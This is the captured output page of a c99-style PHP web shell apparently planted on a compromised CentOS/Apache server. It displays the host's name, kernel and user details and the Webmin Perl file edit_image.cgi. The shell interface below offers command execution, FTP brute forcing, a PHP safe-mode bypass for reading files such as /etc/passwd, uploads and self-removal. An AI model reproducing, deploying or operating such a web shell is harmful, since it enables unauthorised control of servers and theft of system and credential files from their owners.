!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/lilo/   drwxr-xr-x
Free 46.25 GB of 127.8 GB (36.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_image.cgi (5.26 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_image.cgi
# Edit or create a boot partition

require './lilo-lib.pl';
&foreign_require("fdisk", "fdisk-lib.pl");

&ReadParse();
if ($in{'new'}) {
    &ui_print_header(undef, $text{'image_title1'}, "");
    $members = [ ];
    }
else {
    &ui_print_header(undef, $text{'image_title2'}, "");
    $conf = &get_lilo_conf();
    $image = $conf->[$in{'idx'}];
    $members = $image->{'members'};
    }

print "<form action=save_image.cgi>\n";
print "<input type=hidden name=idx value='$in{'idx'}'>\n";
print "<input type=hidden name=new value='$in{'new'}'>\n";
print "<table border width=100%>\n";
print "<tr $tb> <td><b>$text{'image_options'}</b></td> </tr>\n";
print "<tr $cb> <td><table width=100%>\n";

print "<tr> <td><b>$text{'image_name'}</b></td>\n";
printf "<td><input name=label size=15 value='%s'></td>\n",
    &find_value("label", $members);

print "<td><b>$text{'image_kernel'}</b></td>\n";
printf "<td><input name=image size=25 value='%s'> %s</td> </tr>\n",
    $image->{'value'}, &file_chooser_button("image", 0);

print "<tr> <td><b>$text{'image_opts'}</b></td> <td colspan=3>\n";
$append = &find_value("append", $members);
$literal = &find_value("literal", $members);
$append =~ s/^"(.*)"$/$1/g;
$literal =~ s/^"(.*)"$/$1/g;
printf "<input type=radio name=opts value=0 %s> $text{'image_default'}\n",
    $append || $literal ? "" : "checked";
printf "<input type=radio name=opts value=1 %s> $text{'image_add'}\n",
    $append ? "checked" : "";
printf "<input type=radio name=opts value=2 %s> $text{'image_replace'}\n",
    $literal ? "checked" : "";
printf "&nbsp; <input name=append size=20 value='%s'></td> </tr>\n",
    $append ? $append : $literal;

print "<tr> <td><b>$text{'image_root'}</b></td> <td colspan=3>\n";
$root = &find_value("root", $members);
printf "<input type=radio name=rmode value=0 %s> $text{'image_fromkern'}\n",
    $root ? "" : "checked";
printf "<input type=radio name=rmode value=1 %s> $text{'image_rcurr'}\n",
    $root eq "current" ? "checked" : "";
printf "<input type=radio name=rmode value=2 %s> $text{'image_rdev'}\n",
    $root && $root ne "current" ? "checked" : "";
print &foreign_call("fdisk", "partition_select",
            "root", $root eq "current" ? undef : $root, 0);
print "</td> </tr>\n";

print "<tr> <td><b>$text{'image_initrd'}</b></td> <td colspan=3>\n";
$initrd = &find_value("initrd", $members);
printf "<input type=radio name=initrd_def value=1 %s> $text{'default'}\n",
    $initrd ? '' : 'checked';
printf "<input type=radio name=initrd_def value=0 %s>\n",
    $initrd ? 'checked' : '';
printf "<input name=initrd size=30 value='%s'> %s</td> </tr>\n",
    $initrd, &file_chooser_button("initrd");

$readonly = &find("read-only", $members);
$readwrite = &find("read-write", $members);
print "<tr> <td><b>$text{'image_mode'}</b></td> <td><select name=ro>\n";
printf "<option value=0 %s>$text{'image_fromkern'}\n",
    $readonly || $readwrite ? "" : "selected";
printf "<option value=1 %s>$text{'image_ro'}\n",
    $readonly ? "selected" : "";
printf "<option value=2 %s>$text{'image_rw'}\n",
    $readwrite ? "selected" : "";
print "</select></td>\n";

$vga = lc(&find_value("vga", $members));
print "<td><b>$text{'image_vga'}</b></td>\n";
print "<td><select name=vga>\n";
printf "<option value='' %s>$text{'image_fromkern'}\n",
    $vga ? "" : "selected";
printf "<option value=normal %s>80x25\n",
    $vga eq "normal" ? "selected" : "";
printf "<option value=ext %s>80x50\n",
    $vga eq "ext" || $vga eq "extended" ? "selected" : "";
printf "<option value=ask %s>$text{'image_ask'}\n",
    $vga eq "ask" ? "selected" : "";
printf "<option value=other %s>$text{'image_other'}\n",
    $vga =~ /\d/ ? "selected" : "";
printf "</select><input name=vgaother size=6 value='%s'></td> </tr>\n",
    $vga =~ /\d/ ? $vga : "";

$lock = &find("lock", $members);
print "<tr> <td><b>$text{'image_lock'}</b></td> <td>\n";
printf "<input type=radio name=lock value=1 %s> $text{'yes'}\n",
    $lock ? "checked" : "";
printf "<input type=radio name=lock value=0 %s> $text{'no'}</td>\n",
    $lock ? "" : "checked";

$optional = &find("optional", $members);
print "<td><b>$text{'image_optional'}</b></td> <td>\n";
printf "<input type=radio name=optional value=1 %s> $text{'yes'}\n",
    $optional ? "checked" : "";
printf "<input type=radio name=optional value=0 %s> $text{'no'}</td> </tr>\n",
    $optional ? "" : "checked";

$password = &find_value("password", $members);
print "<tr> <td><b>$text{'image_password'}</b></td> <td colspan=3>\n";
printf "<input type=radio name=passmode value=0 %s> $text{'image_none'}\n",
    $password ? "" : "checked";
printf "<input type=radio name=passmode value=1 %s>\n",
    $password ? "checked" : "";
print "<input name=password size=25 value=\"$password\"></td> </tr>\n";

$restricted = &find("restricted", $members);
printf "<tr> <td><b>$text{'image_restricted'}</b></td> <td colspan=3>\n";
printf "<input type=radio name=restricted value=1 %s> %s\n",
    $restricted ? "checked" : "", $text{'image_extra'};
printf "<input type=radio name=restricted value=0 %s> %s</td> </tr>\n",
    $restricted ? "" : "checked", $text{'image_any'};

print "</table></td></tr></table>\n";

print "<table width=100%><tr>\n";
print "<td align=left><input type=submit value=\"$text{'save'}\"></td>\n";
if (!$in{'new'}) {
    print "<td align=right>",
          "<input type=submit name=delete value=\"$text{'delete'}\"></td>\n";
    }
print "</tr></table></form>\n";

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--